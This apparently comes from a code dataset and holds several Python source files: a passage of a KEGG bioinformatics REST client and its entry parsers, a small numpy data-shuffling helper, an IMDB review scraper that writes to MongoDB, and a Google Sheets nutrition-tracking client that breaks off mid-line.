.note:: The input is limited up to 10 entries (KEGG restriction).\n \"\"\"\n\n _valid_options = [\"aaseq\", \"ntseq\", \"mol\", \"kcf\", \"image\", \"kgml\"]\n\n url = \"get/\" + dbentries\n\n if option:\n if option not in _valid_options:\n raise AttributeError(\"Invalid Option. Must be in %s\" % _valid_options)\n url += \"/\" + option\n\n res = self.http_get(url, frmt=\"txt\")\n return res\n\n def conv(self, target, source):\n \"\"\"\n Convert KEGG identifiers to/from outside identifiers\n\n :param target: target database (kegg orga)\n :param source: source database (uniprot or valid dbentries\n :return: dict with keys being the source and value being the target\n Here are the rules to set the target and source parameters.\n If the second argument is not a **dbentries**, source and target\n parameters can be of two types:\n #. gene identifiers. If the target is a KEGG Id, then the source\n must be one of *ncbi-gi*, *ncbi-geneid* or *uniprot*.\n\n note:: source and target can be swapped.\n #. chemical substance identifiers. If the target is one of the\n following kegg database: drug, compound, glycan then the source\n must be one of *pubchem* or *chebi*.\n\n note:: again, source and target can be swapped\n If the second argument is a **dbentries**, it can be again of two types:\n #. gene identifiers. The database used can be one ncbi-gi,\n ncbi-geneid, uniprot or any KEGG organism\n #. chemical substance identifiers. The database used can be one of\n drug, compound, glycan, pubchem or chebi only.\n\n note:: if the second argument is a dbentries, target and dbentries\n cannot be swapped.\n \"\"\"\n\n isorg = self.is_organism(target)\n if isorg is False and target not in ['ncbi-gi', 'ncbi-geneid', 'uniprot', 'pubchem', 'chebi', 'drug',\n 'compound', 'glycan']:\n raise AttributeError(\"Invalid syntax, target must be a KEGG id or one of the allowed database\")\n\n url = \"conv/\" + target + \"/\" + source\n res = self.http_get(url, frmt=\"txt\")\n\n try:\n t = [x.split(\"\\t\")[0] for x in res.strip().split(\"\\n\")]\n s = [x.split(\"\\t\")[1] for x in res.strip().split(\"\\n\")]\n return dict([(x, y) for x, y in zip(t, s)])\n except:\n return res\n\n def link(self, target, source):\n \"\"\"\n find related entries by using database cross-reference\n :param target: kegg database target or organism\n :param source: kegg database target or organism or a valid dbentries involving one of the database\n\n the valid list of db is pathway, brite, module, disease, drug, environ, ko, genome, compound, glycan, reaction\n rpair, rclass, enzyme\n \"\"\"\n _valid_databases = [\"pathway\", \"brite\", \"module\", \"ko\", \"genome\", \"compound\", \"glycan\", \"reaction\", \"rpair\",\n \"rclass\", \"enzyme\", \"disease\", \"drug\", \"dgroup\", \"environ\", \"genes\"]\n\n if target not in _valid_databases and not self.is_organism(target):\n raise ValueError('Database target source provided not available for this operation')\n if source not in _valid_databases and not self.is_organism(source):\n log.warning(\"[list] Not a database and not a orgID, hop for you that it's a valid ID.\")\n\n url = \"link/\" + target + \"/\" + source\n res = self.http_get(url, frmt=\"txt\")\n return res\n\n @staticmethod\n def show_pathway(path_id, scale=None, dcolor=\"pink\", keggid={}):\n \"\"\"\n show a given path into webbrower\n\n :param path_id: valid path id\n :param scale: scale image between 0 and 100\n :param dcolor: default background color of nodes\n :param keggid: set color of entries contained in the pathways\n\n if scale is provided, keggid and dcolor is ignored\n\n \"\"\"\n if path_id.startswith(\"path:\"):\n path_id = path_id.split(\":\")[1]\n\n if scale:\n scale = int(scale / 100. * 100) / 100. # just need 2 digits and a value in [0,1]\n url = \"http://www.kegg.jp/kegg-bin/show_pathway?scale=\" + str(scale)\n url += \"&query=&map=\" + path_id\n else:\n url = \"http://www.kegg.jp/kegg-bin/show_pathway?\" + path_id\n if dcolor:\n url += \"/default%%3d%s/\" % dcolor\n if isinstance(keggid, dict):\n if len(keggid.keys()) > 0:\n for k, v in keggid.items():\n if \",\" in v:\n url += \"/%s%%09%s/\" % (k, v)\n else:\n url += \"/%s%%09,%s/\" % (k, v)\n elif isinstance(keggid, list):\n for k in keggid:\n url += \"/%s%%09,%s/\" % (k, \"red\")\n\n res = webbrowser.open(url)\n return res\n\n def show_module(self, modId):\n \"\"\"\n Show a given module inside a web browser\n :param str modId: a valid module Id. See :meth:`moduleIds`\n Validity of modId is not checked but if wrong the URL will not open a\n proper web page.\n \"\"\"\n if modId.startswith(\"md:\"):\n modId = modId.split(\":\")[1]\n url = \"http://www.kegg.jp/module/\" + modId\n self.logging.info(url)\n res = webbrowser.open(url)\n return res\n\n # wrapper of all databases to ease access to them (buffered)\n\n def _get_db(self):\n return KEGG.info(self)\n\n databases = property(_get_db, doc=\"Returns list of valid KEGG databases.\")\n\n def _get_database(self, dbname, mode=0):\n res = self.list(dbname)\n assert mode in [0, 1]\n return [x.split()[mode] for x in res.split(\"\\n\") if len(x)]\n\n def _get_organisms(self):\n if self._organisms is None:\n self._organisms = self._get_database(\"organism\", 1)\n return self._organisms\n\n organismIds = property(_get_organisms, doc=\"Returns list of organism Ids\")\n\n def _get_reactions(self):\n if self._reaction is None:\n self._reaction = self._get_database(\"reaction\")\n return self._reaction\n\n reactionIds = property(_get_reactions, doc=\"returns list of reaction Ids\")\n\n def _get_enzyme(self):\n if self._enzyme is None:\n self._enzyme = self._get_database(\"enzyme\")\n return self._enzyme\n\n enzymeIds = property(_get_enzyme, doc=\"returns list of enzyme Ids\")\n\n def _get_organisms_tnumbers(self):\n if self._organisms_tnumbers is None:\n self._organisms_tnumbers = self._get_database(\"organism\")\n return self._organisms_tnumbers\n\n organismTnumbers = property(_get_organisms_tnumbers, doc=\"returns list of organisms (T numbers)\")\n\n def _get_glycans(self):\n if self._glycan is None:\n self._glycan = self._get_database(\"glycan\")\n return self._glycan\n\n glycanIds = property(_get_glycans, doc=\"Returns list of glycan Ids\")\n\n def _get_brite(self):\n if self._brite is None:\n self._brite = self._get_database(\"brite\")\n return self._brite\n\n briteIds = property(_get_brite, doc=\"returns list of brite Ids.\")\n\n def _get_kos(self):\n if self._ko is None:\n self._ko = self._get_database(\"ko\")\n return self._ko\n\n koIds = property(_get_kos, doc=\"returns list of ko Ids\")\n\n def _get_compound(self):\n if self._compound is None:\n self._compound = self._get_database(\"compound\")\n return self._compound\n\n compoundIds = property(_get_compound, doc=\"returns list of compound Ids\")\n\n def _get_drug(self):\n if self._drug is None:\n self._drug = self._get_database(\"drug\")\n return self._drug\n\n drugIds = property(_get_drug, doc=\"returns list of drug Ids\")\n\n def _get_organism(self):\n return self._organism\n\n def _set_organism(self, organism):\n if organism in self.organismIds:\n self._organism = organism\n self._pathway = None\n self._module = None\n self._ko = None\n self._glycan = None\n self._compound = None\n self._enzyme = None\n self._drug = None\n self._reaction = None\n self._brite = None\n else:\n raise ValueError(\"Invalid organism. Check the list in :attr:`organismIds` attribute\")\n\n def _get_pathways(self):\n if self._organism is None:\n log.warning(\"You must set the organism first (e.g., self.organism = 'hsa')\")\n return\n\n if self._pathway is None:\n res = self.http_get(\"list/pathway/%s\" % self.organism, frmt=\"txt\")\n orgs = [x.split()[0] for x in res.split(\"\\n\") if len(x)]\n self._pathway = orgs[:]\n return self._pathway\n\n def _get_modules(self):\n if self._organism is None:\n log.warning(\"You must set the organism first (e.g., self.organism = 'hsa')\")\n return\n\n if self._module is None:\n res = self.http_get(\"list/module/%s\" % self.organism)\n orgs = [x.split()[0] for x in res.split(\"\\n\") if len(x)]\n self._module = orgs[:]\n return self._module\n\n def lookfor_organism(self, query):\n \"\"\"\n Look for a specific organism\n :param str query: your search term. upper and lower cases are ignored\n :return: a list of definition that matches the query\n \"\"\"\n matches = []\n definitions = [\" \".join(x.split()) for x in self.list(\"organism\").split(\"\\n\")]\n for i, item in enumerate(definitions):\n if query.lower() in item.lower():\n matches.append(i)\n return [definitions[i] for i in matches]\n\n def lookfor_pathway(self, query):\n \"\"\"\n Look for a specific pathway\n :param str query: your search term. upper and lower cases are ignored\n :return: a list of definition that matches the query\n \"\"\"\n matches = []\n definitions = [\" \".join(x.split()) for x in self.list(\"pathway\").split(\"\\n\")]\n for i, item in enumerate(definitions):\n if query.lower() in item.lower():\n matches.append(i)\n return [definitions[i] for i in matches]\n\n def get_pathway_by_gene(self, gene, organism):\n \"\"\"\n Search for pathways that contain a specific gene\n :param str gene: a valid gene Id\n :param str organism: a valid organism (e.g., hsa)\n :return: list of pathway Ids that contain the gene\n ::\n >>> s.get_pathway_by_gene(\"7535\", \"hsa\")\n ['path:hsa04064', 'path:hsa04650', 'path:hsa04660', 'path:hsa05340']\n \"\"\"\n res = self.get(\":\".join([organism, gene]))\n dic = self.parse(res)\n if 'PATHWAY' in dic.keys():\n return dic['PATHWAY']\n else:\n print(\"No pathway found ?\")\n\n def parse_kgml_pathway(self, pathways_id, res=None):\n \"\"\"\n Parse the pathway in KGML format and returns a dictionary (relations and entries)\n :param str pathways_id: a valid pathwayId e.g. hsa04660\n :param str res: if you already have the output of the query\n get(pathwayId), you can provide it, otherwise it is queried.\n :return: a tuple with the first item being a list of relations. Each\n relations is a dictionary with id2, id2, link, value, name. The\n second item is a dictionary that maps the Ids to\n ::\n res = s.parse_kgml_pathway(\"hsa04660\")\n set([x['name'] for x in res['relations']])\n res['relations'][-1]\n {'entry1': u'15',\n 'entry2': u'13',F\n 'link': u'PPrel',\n 'name': u'phosphorylation',\n 'value': u'+p'}\n set([x['link'] for x in res['relations']])\n set([u'PPrel', u'PCrel'])\n res['entries'][4]\n ret = s.get(\"hsa04660\", \"kgml\")\n .. seealso:: `KEGG API `_\n \"\"\"\n output = {'relations': [], 'entries': []}\n if res is None:\n res = self.easyXML(self.get(pathways_id, \"kgml\"))\n else:\n res = self.easyXML(res)\n # here entry1 and 2 are Id related to the kgml file\n\n # read and parse the entries\n entries = [x for x in res.findAll(\"entry\")]\n for entry in entries:\n output['entries'].append({\n 'id': entry.get(\"id\"),\n 'name': entry.get(\"name\"),\n 'type': entry.get(\"type\"),\n 'link': entry.get(\"link\"),\n 'gene_names': entry.find(\"graphics\").get(\"name\")\n })\n\n relations = [(x.get(\"entry1\"), x.get(\"entry2\"), x.get(\"type\")) for x in res.findAll(\"relation\")]\n subtypes = [x.findAll(\"subtype\") for x in res.findAll(\"relation\")]\n\n assert len(subtypes) == len(relations)\n\n for relation, subtype in zip(relations, subtypes):\n if len(subtype) == 0:\n pass\n else:\n for this in subtype:\n value = this.get(\"value\")\n name = this.get(\"name\")\n output['relations'].append({\n 'entry1': relation[0],\n 'entry2': relation[1],\n 'link': relation[2],\n 'value': value,\n 'name': name})\n # we need to map back to KEgg IDs...\n return output\n\n def __str__(self):\n txt = self.info()\n return txt\n\n\ndef KEGGParser(res):\n \"\"\"\n A dispatcher to parse all outputs returned by :meth:`KEGG.get`\n\n ENTRY 26153 CDS T01001\n NAME KIF26A\n DEFINITION kinesin family member 26A\n ORTHOLOGY K10404 kinesin family member 26\n ORGANISM hsa Homo sapiens (human)\n POSITION 14q32.33\n MOTIF Pfam: Kinesin\n DBLINKS NCBI-GI: 150170699\n NCBI-GeneID: 26153\n OMIM: 613231\n HGNC: 20226\n Ensembl: ENSG00000066735\n Vega: OTTHUMG00000154986\n UniProt: Q9ULI4\n AASEQ 1882\n\n\n :param str res: output of a KEGG.get\n :return: a dictionary\n \"\"\"\n output = collections.OrderedDict()\n lines = res.split(\"\\n\")\n last_idx = None\n for line in lines:\n if line.startswith(\"///\"):\n return output\n\n if line.startswith(\" \"):\n output.setdefault(last_idx, []).append(line.strip())\n else:\n last_idx = line.split()[0]\n output[last_idx] = [line[10:].strip()]\n return output\n\ndef KEGGParser2(res):\n\n def _parse(res):\n\n if res == 404:\n return\n keys = [x.split(\" \")[0] for x in res.split(\"\\n\") if len(x) and x[0]!=\" \"\n and x!=\"///\"]\n # let us go line by to not forget anything and know which entries are\n # found in the RHS. We may have duplicated once as can be found in th\n # keys variable as well.\n entries = []\n entry = \"\"\n start = True\n for line in res.split(\"\\n\"):\n if line == '///':\n entries.append(entry)\n elif len(line) == 0:\n pass\n elif line[0] != \" \":\n if start == True:\n start = False\n else:\n entries.append(entry)\n entry = line[:]\n else:\n entry+= \"\\n\"+line[:]\n\n # we can now look at each entry and create a dictionary.\n # The dictionary will contain as key the name found in the LHS\n # e.g., REACTION and the value will be either the entry content\n # as a string or a list of strings if the key is not unique\n # e.g., for references. This could be a bit annoying since\n # for example References could appear only once if some cases.\n # This can be tested though by checking the type\n import collections\n output = collections.OrderedDict()\n for entry in entries:\n name = entry.split(\"\\n\")[0].split()[0]\n if keys.count(name) == 1:\n output[name] = entry[:]\n else:\n if name in output.keys():\n output[name].append(entry[:])\n else:\n output[name] = [entry[:]]\n\n # remove name that are now the keys of the dictionary anyway\n # if the values is not a list\n for k,v in output.items():\n if k in ['CHROMOSOME', 'TAXONOMY']:\n continue\n try:\n output[k] = output[k].strip().replace(k,'',1) # remove the name that\n except: # skip the lists\n pass\n\n # Now, let us do the real stuff.\n # This is tricky since format is not consistent with the names e,g\n # REACTIONS could be sometimes a list of names and sometimes list\n # of reactions with their description.\n\n for key, value in output.items():\n # convert to a dict\n if key == 'STATISTICS':\n data = [x.split(\":\",1) for x in output[key].split(\"\\n\")]\n data = dict([(x[0].strip(), float(x[1].strip())) for x in data])\n output[key] = data\n # strip only expecting a single line (string)\n elif key in ['POSITION', 'DESCRIPTION', 'ENTRY', 'ORGANISM',\n 'CLASS', 'FORMULA', 'KEYWORDS', 'CATEGORY', 'ANNOTATION',\n 'DATA_SOURCE', 'MASS', 'COMPOSITION', 'DEFINITION',\n 'KO_PATHWAY', 'EQUATION', 'TYPE', 'RCLASS']:\n # get rid of \\n\n\n if \"\\n\" in value:\n # happens in description path:hsa04915\n print(\"warning for debugging in %s\" % key)\n value = value.replace(\"\\n\", \" \")\n # nothing to do here except strip\n output[key] = value.strip()\n # list : set of lines\n # COMMENT is sometimes on several lines\n elif key in ['NAME', 'REMARK', 'ACTIVITY', 'COMMENT', 'ORIGINAL_DB']:\n output[key] = [x.strip() for x in value.split(\"\\n\")]\n # list: long string splitted into items and therefore converted to a list\n elif key in ['ENZYME', 'REACTION', 'RPAIR', 'RELATEDPAIR']:\n # RPAIR/rn:R00005 should be a dict if \"_\" found\n # REACTION/md:hsa_M00554 should be a dict if '->' found\n if '->' in value or \"_\" in value:\n kp = {}\n for line in value.split(\"\\n\"):\n try:\n k,v = line.strip().split(None,1)\n except:\n self.warning(\"empty line in %s %s\" % (key, line))\n k = line.strip()\n v = ''\n kp[k] = v\n output[key] = kp.copy()\n else:\n output[key] = [x.strip() for x in value.split()]\n # transform to dictionary\n elif key in ['DRUG', 'ORTHOLOGY', 'GENE', 'COMPOUND', 'RMODULE',\n 'DISEASE', 'PATHWAY_MAP',\n 'STR_MAP', 'PATHWAY', 'MODULE', 'GENES']:\n kp = {}\n for line in value.split(\"\\n\"):\n try: # empty orthology in rc:RC00004\n k,v = line.strip().split(None,1)\n except:\n log.warning(\"empty line in %s %s\" % (key, line))\n k = line.strip()\n v = ''\n if k.endswith(\":\"):\n k = k.strip().rstrip(\":\")\n kp[k] = v\n output[key] = kp.copy()\n # list of dictionaries\n elif key == 'REFERENCE':\n # transform to a list since you may have several entries\n newvalue = [_interpret_references(this)\n for this in _tolist(value)]\n output[key] = newvalue\n # list of dictionaries\n elif key == 'PLASMID':\n newvalue = [_interpret_plasmid(this)\n for this in _tolist(value)]\n output[key] = newvalue\n # list of dictionaries\n elif key == 'CHROMOSOME':\n newvalue = [_interpret_chromosome(this)\n for this in _tolist(value)]\n output[key] = newvalue\n # list of dictionaries\n elif key == 'TAXONOMY':\n newvalue = [_interpret_taxonomy(this)\n for this in _tolist(value)]\n output[key] = newvalue\n\n # dictionary, interpreted as follows\n # on each line, there is an identifier followed by : character\n # looks like there is just one line...\n elif key in ['DRUG_TARGET', 'STRUCTURE', 'MOTIF']:\n # STRUCTURE PDB can be long and span over several lines. e.g.,\n # hsa:1525\n new = {}\n import re\n value = re.sub(\"\\n {6,20}\", \" \", value)\n for line in value.split(\"\\n\"):\n thiskey, content = line.split(None, 1)\n if thiskey.endswith(\":\"):\n new[thiskey[:-1]] = content\n else:\n log.warning(\"Could not fully interpret %s \" % key )\n output[key] = new\n elif key in ['DBLINKS', 'INTERACTION', 'METABOLISM']:\n # D01441 for metabolism\n # DBLINKS for C00624 should work out of the box\n new = {}\n import re\n value = re.sub(\"\\n {12,12+1}\", \"\\n\", value)\n for line in value.split(\"\\n\"):\n thiskey, content = line.strip().split(\":\", 1)\n new[thiskey] = content.strip()\n output[key] = new\n # floats\n elif key in ['EXACT_MASS', 'MOL_WEIGHT']:\n output[key] = float(value)\n # get rid of the length\n elif key in ['AASEQ', 'NTSEQ']:\n output[key] = value.split(\"\\n\", 1)[1].replace(\"\\n\",\"\").replace(\" \", \"\")\n elif key.startswith(\"ENTRY\"):\n newvalue = _interpret_entry(value)\n output[key] = newvalue.strip()\n # extract list of strings from structure. These strings are not\n # interpreted\n elif key in ['ATOM', 'BOND', 'NODE', 'EDGE', 'ALIGN', 'RDM']:\n # starts with a number that defines number of entries. Let us\n # get rid of that number and then send a list\n output[key] = _interpret_enumeration(output[key])\n # not interpreted\n elif key in ['BRACKET', 'COMPONENT', 'SOURCE', 'BRITE',\n 'CARCINOGEN', 'MARKER', 'PRODUCT']: # do not interpret to keep structure\n pass\n else:\n print(\"\"\"\\nWarning. Found keyword %s, which has not special parsing for now. please report this issue with the identifier (%s) into github.com/bioservices\"\"\" % (key,output['ENTRY']))\n\n return output\n\n def _interpret_enumeration(data):\n N = data.strip().split(\"\\n\")[0]\n # must be a number\n N = int(N)\n lines = data.strip().split(\"\\n\")[1:]\n lines = [line.strip() for line in lines]\n if len(lines) != N:\n self.warning('number of lines not as expected in %s' % data)\n\n if N == 0:\n return []\n else:\n return lines\n\n def _tolist(value):\n # transform to a list since you may have several entries\n if isinstance(value, list) is False:\n value = [value]\n return value\n\n def _interpret_entry(data):\n res = {}\n\n return res\n for this in data.split(\"\\n\"):\n if this.strip().startswith(\"ENTRY\"):\n pass\n elif this.strip().startswith(\"COMPOUND\"):\n res['COMPOUND'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"ATOM\"):\n res['AUTHORS'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"TITLE\"):\n res['TITLE'] = this.strip().split(None,1)[1]\n return res\n\n def _interpret_taxonomy(data):\n res = {}\n for this in data.split(\"\\n\"):\n if this.strip().startswith(\"TAXONOMY\"):\n res['TAXONOMY'] = this.strip()\n elif this.strip().startswith('LINEAGE'):\n res['LINEAGE'] = this.strip().split(None,1)[1]\n return res\n\n def _interpret_references(data):\n res = {}\n for this in data.split(\"\\n\"):\n if this.strip().startswith(\"REFERENCE\"):\n res['REFERENCE'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"JOURNAL\"):\n res['JOURNAL'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"AUTHORS\"):\n res['AUTHORS'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"TITLE\"):\n res['TITLE'] = this.strip().split(None,1)[1]\n return res\n\n def _interpret_plasmid(data):\n res = {}\n for this in data.split(\"\\n\"):\n if this.strip().startswith(\"PLASMID\"):\n res['PLASMID'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"LENGTH\"):\n res['LENGTH'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"SEQUENCE\"):\n res['SEQUENCE'] = this.strip().split(None,1)[1]\n return res\n\n def _interpret_chromosome(data):\n res = {}\n for this in data.split(\"\\n\"):\n if this.strip().startswith(\"CHROMOSOME\"):\n try:\n res['CHROMOSOME'] = this.strip().split(None,1)[1]\n except:\n #genome:T00012 has no name\n res['CHROMOSOME'] = this.strip()\n elif this.strip().startswith(\"LENGTH\"):\n res['LENGTH'] = this.strip().split(None,1)[1]\n elif this.strip().startswith(\"SEQUENCE\"):\n res['SEQUENCE'] = this.strip().split(None,1)[1]\n return res\n\n entry = res.split(\"\\n\")[0].split()[0]\n if entry == \"ENTRY\":\n dbentry = res.split(\"\\n\")[0].split(None, 2)[2]\n else:\n dbentry='?'\n raise ValueError\n\n try:\n parser = _parse(res)\n except Exception as err:\n log.warning(\"Could not parse the entry %s correctly\" % dbentry)\n log.warning(err)\n parser = res\n return parser\n\nclass KEGGTools(KEGG):\n \"\"\"Load all genes from the database.\n ::\n k = kegg.KEGGTools()\n k.load_genes(\"hsa\")\n genes = k.scan_genes()\n \"\"\"\n def __init__(self, verbose=False, organism=\"hsa\"):\n self.kegg = KEGG()\n self.parser = KEGGParser()\n print(\"initialisation\")\n self.load_genes(organism)\n\n def load_genes(self, organism):\n res = self.parser.list(organism)\n self.genes = [x.split(\"\\t\")[0] for x in res.strip().split(\"\\n\")]\n return self.genes\n\n def scan_genes(self):\n genes = {}\n for i, gene in enumerate(self.genes):\n genes[gene] = self.parser.parse(self.kegg.get(self.genes[i]))\n return genes\n\n def load_reactions(self, organism):\n reactions = self.kegg.list('reaction')\n self.reactions = [x.split()[0] for x in reactions.split(\"\\n\") if len(x)]\n return self.reactions\n\n def scan_reactions(self):\n reactions = {}\n for i, this in enumerate(self.reactions):\n reactions[this] = self.parser.parse(self.kegg.get(self.reactions[i]))\n return reactions\n","repo_name":"ArnaudKOPP/BioREST","sub_path":"BioREST/KEGG.py","file_name":"KEGG.py","file_ext":"py","file_size_in_byte":37963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"23622268156","text":"#!/usr/bin/env python3\n\"\"\" module \"\"\"\n\nimport numpy as np\n\n\ndef shuffle_data(X, Y):\n \"\"\" that shuffles the data\"\"\"\n m = len(X)\n shuffle = np.random.permutation(m)\n return X[shuffle], Y[shuffle]\n","repo_name":"vandeldiegoc/holbertonschool-machine_learning","sub_path":"supervised_learning/0x03-optimization/2-shuffle_data.py","file_name":"2-shuffle_data.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24117731115","text":"\"\"\"\nHeart of the application\n\"\"\"\nimport time\nimport traceback\nfrom concurrent.futures import ProcessPoolExecutor as Pool\n\nimport numpy as np\nimport requests\nfrom bs4 import BeautifulSoup\nfrom lxml import html\n\nimport config\nfrom data_storage.data_storage import Database\n\n\ndef wait(seconds):\n \"\"\"\n Simple python wait\n :param seconds\n \"\"\"\n time.sleep(seconds)\n\n\ndef get_soup(url):\n \"\"\"\n To parse HTML\n :param Url to parse\n :return soup object for the provied url\n \"\"\"\n # wait(0.5)\n return BeautifulSoup(requests.get(url, headers=config.HEADERS).content, 'html.parser')\n\n\ndef get_text_from_xpath(page, xpath):\n \"\"\"\n To get text from a xpath\n :param Page content and xpath to extract text\n :return Extracted text\n \"\"\"\n tree = html.fromstring(page.content)\n try:\n rating = tree.xpath(xpath)[0].text\n except IndexError:\n rating = np.NaN\n return rating\n\n\nclass Review:\n \"\"\"\n Class for web scrapping reviews\n \"\"\"\n\n def __init__(self, url):\n self.url = url\n self.soup = get_soup(url)\n self.tags = []\n\n def load_tags(self, rated='top'):\n \"\"\"\n Fetching movie or series names\n :param rated type differentiating the attributes to\n capture the movie or series titles\n \"\"\"\n if rated == 'top':\n self.tags = self.soup.findAll('td', {'class': 'titleColumn'})\n elif rated == 'bottom':\n self.tags = self.soup.findAll('div', {'class': 'col-title'})\n\n def get_distinct_imdb_ids(self):\n \"\"\"\n To get the imdb unique ids\n :return: String with pipe separating imdb id and title\n \"\"\"\n ids = []\n for imdb_id in self.tags:\n value = imdb_id.find('a')\n ids.append((str(value)[16:25] + '|' + value.get_text()))\n return ids\n\n\nclass MyDictionary(dict):\n \"\"\"\n User definded Dictionary class\n \"\"\"\n def __init__(self):\n self = dict()\n\n def add(self, key, value):\n self[key] = value\n\n\ndef get_reviews(ids):\n \"\"\"\n Method to web scrap the reviews with imdb ids.\n It will scrap the reviews and corresponding rating in a\n dictionary and will return back as list of dictionary.\n\n :param title and imdb ids\n :return review-ratings dictionary as list\n \"\"\"\n reviews = []\n try:\n title, imdb_id = ids.split(\"|\")\n\n good_review_url = config.GOOD_REVIEW_URL.replace('{id}', imdb_id)\n bad_review_url = config.BAD_REVIEW_URL.replace('{id}', imdb_id)\n\n good_soup = get_soup(good_review_url)\n good_review_list = [element.get_text() for element in\n good_soup.find_all('div', {'class': 'text show-more__control'})]\n good_page = requests.get(good_review_url)\n good_rating_list = [get_text_from_xpath(\n good_page,\n f'(//span[@class=\"rating-other-user-rating\"]//span[1])[{i}]')\n for i in range(0, len(good_review_list))]\n\n bad_soup = get_soup(bad_review_url)\n bad_review_list = [element.get_text() for element in\n\n bad_soup.find_all('div', {'class': 'text show-more__control'})]\n bad_page = requests.get(bad_review_url)\n bad_rating_list = [get_text_from_xpath(\n bad_page,\n f'(//span[@class=\"rating-other-user-rating\"]//span[1])[{i}]')\n for i in range(0, len(bad_review_list))]\n if len(good_rating_list) != 0:\n for review, rating in zip(good_review_list, good_rating_list):\n temp_dict = dict()\n temp_dict = {'name': title,\n 'review': review,\n 'ratings': rating}\n reviews.append(temp_dict)\n else:\n temp_dict = {'name': title,\n 'review': np.NaN,\n 'ratings': np.NaN\n }\n reviews.append(temp_dict)\n\n if len(bad_review_list) != 0:\n for review, rating in zip(bad_review_list, bad_rating_list):\n temp_dict = dict()\n temp_dict = {'name': title,\n 'review': review,\n 'ratings': rating}\n reviews.append(temp_dict)\n else:\n temp_dict = {'name': title,\n 'review': np.NaN,\n 'ratings': np.NaN\n }\n reviews.append(temp_dict)\n\n config.logger.info(f'Title - {title}')\n config.logger.info(f'Good Reviews - {len(good_review_list)}')\n config.logger.info(f'Good Reviews - {len(good_rating_list)}')\n config.logger.info(f'Bad Reviews - {len(bad_review_list)}')\n config.logger.info(f'Good Reviews - {len(bad_rating_list)}')\n\n except (AttributeError, KeyError) as exc:\n config.logger.error(traceback.format_exc())\n config.logger.error('Error has occurred in get_reviews =====>' + exc)\n\n return reviews\n\n\ndef fetch_reviews(ids):\n \"\"\"\n Fetching reviews with ids along with multi\n processing module\n\n :param title and imdb ids\n :return review-ratings dictionary as list\n \"\"\"\n try:\n with Pool(max_workers=config.MAX_WORKERS) as executor:\n review_list = executor.map(get_reviews, ids)\n except Exception as exc:\n config.logger.error(f'Exception occurred in fetch_reviews method - {exc}')\n finally:\n executor.shutdown()\n return list(review_list)\n\n\ndef get_imdb_data_from_db():\n \"\"\"\n To retreive the data from mongo db\n :return: list of imdb ids and title\n \"\"\"\n return Database().retrieve_data('imdb_id')\n\n\ndef perform_scrapping():\n \"\"\"\n Method for initiating web scrapping.\n This will get the imdb ids and title stored in mongo db\n and uses ids to call fetch_reviews multiprocessing method\n \"\"\"\n\n db_ids = get_imdb_data_from_db()\n\n ids = []\n for pairs in db_ids:\n ids.append(pairs.get('title') + '|' + pairs.get('id'))\n reviews = fetch_reviews(ids)\n\n Database().store_data_with_list_of_list('raw_reviews', reviews)\n\n print(f'Finished scrapping and stored ')\n config.logger.info(f'Finished scrapping and stored ')\n\n\ndef store_imdb_ids(movie_series_dict_list):\n \"\"\"\n This method will go to all the url provided in the params\n and gets the title and imdb ids. Atlast storing the data\n in mongo db\n\n :param movie_series_dict_list:\n \"\"\"\n all_ids = MyDictionary()\n for movie_series_dict in movie_series_dict_list:\n for rated_type, url in movie_series_dict.items():\n obj = Review(url)\n if 'top' in rated_type:\n obj.load_tags('top')\n else:\n obj.load_tags('bottom')\n\n ids = obj.get_distinct_imdb_ids()\n for titles in ids:\n all_ids.add(titles.split('|')[0], titles.split('|')[1])\n print(f'Finished scrapping imdb ids - {rated_type}')\n wait(2)\n\n modified_dict_list = []\n for key, value in all_ids.items():\n modified_dict_list.append({'id': key, 'title': value})\n Database().store_data('imdb_id', modified_dict_list)\n","repo_name":"ShanmugapriyanSP/IMDB-Review-Webscrapping","sub_path":"movie_review_webscrapping/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"23492989445","text":"import httplib2\nimport os\nfrom datetime import date\n\nfrom apiclient import discovery\n\ndiscoveryUrl = ('https://sheets.googleapis.com/$discovery/rest?'\n\t\t\t\t'version=v4')\nservice = discovery.build(\n\t'sheets',\n\t'v4',\n\thttp=httplib2.Http(),\n\tdiscoveryServiceUrl=discoveryUrl,\n\tdeveloperKey=os.environ[\"SPREADSHEET_API_KEY\"])\n\n\nclass SpreadsheetNutritionClient():\n\tdef get_spreadsheet_nutrition_data(self):\n\t\tnutrition_data = {}\n\t\tnutrition_data['retrieval'] = 'spreadsheet'\n\n\t\tnutrition_data['totals'] = {}\n\t\tspreadsheetId = '1-XYteIgeAccDfDRnl4ZsOV-HUONsrbu_8LdNdB_V2qc'\n\t\trangeName = 'sheet1!A1:G2'\n\t\tresult = service.spreadsheets().values().get(\n\t\t\tspreadsheetId=spreadsheetId, range=rangeName).execute()\n\t\tvalues = result.get('values', [])\n\n\t\tspreadsheet_day = str(values[1][4])\n\t\tcurrent_day = str(date.today().day)\n\n\t\tif spreadsheet_day != current_day:\n\t\t\tnutrition_data['message'] = \"\\n\\nLooks like stephen didn't update the spreadsheet. Get out a frying pan and ROAST HIM.\"\n\t\t\treturn nutrition_data\n\n\n\t\tnutrition_data['totals']['calories'] = float(values[1][0])\n\t\tnutrition_data['totals']['carbohydrates'] = float(values[1][1])\n\t\tnutrition_data['totals']['fat'] = float(values[1][2])\n\t\tnutrition_data['totals']['protein'] = float(values[1][3])\n\n\t\tnutrition_data['weight'] = str(values[1][5])\n\t\tnutrition_data['water'] = str(values[1][6])\n\n\t\tprint('retrieved nutrition_data from spreadsheet')\n\t\tprint(nutrition_data)\n\n\t\treturn nutrition_data\n\nif __name__ == \"__main__\":\n\tnutrition_data = 